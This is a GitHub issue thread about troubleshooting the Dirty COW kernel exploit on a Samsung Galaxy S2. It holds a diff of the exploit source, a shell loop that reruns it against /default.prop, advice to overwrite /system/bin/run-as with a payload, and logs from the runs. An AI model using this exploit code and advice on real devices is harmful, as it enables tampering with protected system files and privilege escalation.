Closed desiree1234 closed 7 years ago
Take a look at the file sizes. The file you're copying to the original is way too big. Try another file to copy to, like /system/bin/run-as.
Thanks for suggestion, I didn't yet solved this. I studied dirtycow more and I have couple remarks.
PAGE_SIZE is not used at all:
--- a/dirtycow.c
+++ b/dirtycow.c
@@ -21,10 +21,6 @@
#define LOOP 0x100000
-#ifndef PAGE_SIZE
-#define PAGE_SIZE 4096
-#endif
-
struct mem_arg {
unsigned char *offset;
unsigned char *patch;
Some other POC's (for Linux) are using much greater LOOP values.
-#define LOOP 0x100000
+#define LOOP 0x1000000
(even greater than this)
I examined what are printed values in the log. After loops it prints for-counter (which is always of course same than for-limit) Then it prints memory-address which is not human understandable at all. And last "Exploited" is printed unconditionally, it doesn't even know how exploit ended.
@@ -47,13 +43,13 @@ static void *madviseThread(void *arg)
size = mem_arg->patch_size;
addr = (void *)(mem_arg->offset);
- LOGV("[*] madvise = %p %d", addr, size);
+ LOGV("[*] madvise : addr=%p size=%d", addr, size);
for(i = 0; i < LOOP; i++) {
c += madvise(addr, size, MADV_DONTNEED);
}
- LOGV("[*] madvise = %d %d", c, i);
+ LOGV("[*] madvise c=%d counter=%d", c, i);
return 0;
}
@@ -75,7 +71,7 @@ static void *procselfmemThread(void *arg)
c += write(fd, p, mem_arg->patch_size);
}
- LOGV("[*] /proc/self/mem %d %i", c, i);
+ LOGV("[*] /proc/self/mem c=%d counter=%i", c, i);
close(fd);
@@ -87,7 +83,7 @@ static void exploit(struct mem_arg *mem_arg, int do_patch)
pthread_t pth1, pth2;
LOGV("[*] exploit (%s)", do_patch ? "patch": "unpatch");
- LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
+ LOGV("[*] currently (men_arg.offset) %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
mem_arg->do_patch = do_patch;
@@ -97,7 +93,7 @@ static void exploit(struct mem_arg *mem_arg, int do_patch)
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
- LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
+ LOGV("[*] exploited (men_arg.offset) %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
}
int main(int argc, char *argv[])
@@ -159,7 +155,7 @@ int main(int argc, char *argv[])
return 0;
}
- LOGV("[*] mmap %p", map);
+ LOGV("[*] mmap map=%p", map);
mem_arg.offset = map;
I made one byte modification on default.prop (exactly same size now).
Then I made this shell-script to start it over if not success. (I saw another POC, which has three thread, one for stopping attack when exploit happens)
#!/system/bin/sh
OLD=`md5sum /default.prop`
echo orig md5 $OLD
while [ 1 ]
do
./dirtycow /default.prop default.prop
NEW=`md5sum /default.prop`
echo new md5 $NEW
if [ "$NEW" == "$OLD" ]
then
echo "Next round"
else
echo "Differs."
exit 0
fi
done
I run this several of hours. As I understand this dirtycow is all about race-condition which might happen or not, it is only about probability.
Now my log is repeating this:
size 116
[*] mmap map=0x400fb000
[*] exploit (patch)
[*] currently (men_arg.offset) 0x400fb000=20230a23
[*] madvise : addr=0x400fb000 size=116
[*] /proc/self/mem c=-16777216 counter=16777216
[*] madvise c=0 counter=16777216
[*] exploited (men_arg.offset) 0x400fb000=20230a23
So this: c += madvise(addr, size, MADV_DONTNEED); gives always c=-16777216 (when counter is 16777216)
And this: c += write(fd, p, mem_arg->patch_size); gives always 0 (when counter is 16777216)
Just to be clear, /data/local/tmp/default.prop is less than or equal to 116 kilobytes, correct? If it's any larger than that, it's going to fail no matter what. For me, dirtycow has worked 100% of the time. If /data/local/tmp/default.prop is bigger than 116 kilobytes, then you need to overwrite a different file, so instead of /default.prop, try /system/bin/run-as instead.
Prism
I can reproduce this actually. For some reason the race condition is not occurring.
I got it partially working with pokemon.c variant of dirtycow: https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
Compiled for S2 and I can slightly modify read-only files.
I removed printing of command line parameter (row 38) and used it:
./d /system/bin/run-as "`cat payload"`
I have once got it working.But many times it writes only some bytes correctly and some corrupted.
Wow great find. I initially tried the ptrace variant but it didn't work so I gave up. I'll give it another go. Many thanks.
Samsung Galaxy S2, running kernel 3.0.31 and Android-4.1.2. Dirtycow not triggering.
Running dirtycow gives [*] exploited 0x402d1000=464c457f but targeted file is not changing.
I have tried couple of things: Different toolchain: android-ndk-r12b / android-ndk-r13b Different platform: APP_PLATFORM=android-21 / APP_PLATFORM=android-10 Different loop: #define LOOP 0x100000 / 0x10000 / 0x1000000 Different pagesize: #define PAGE_SIZE 4096 / 2048
What can be the issue? What else I can do?
Full log: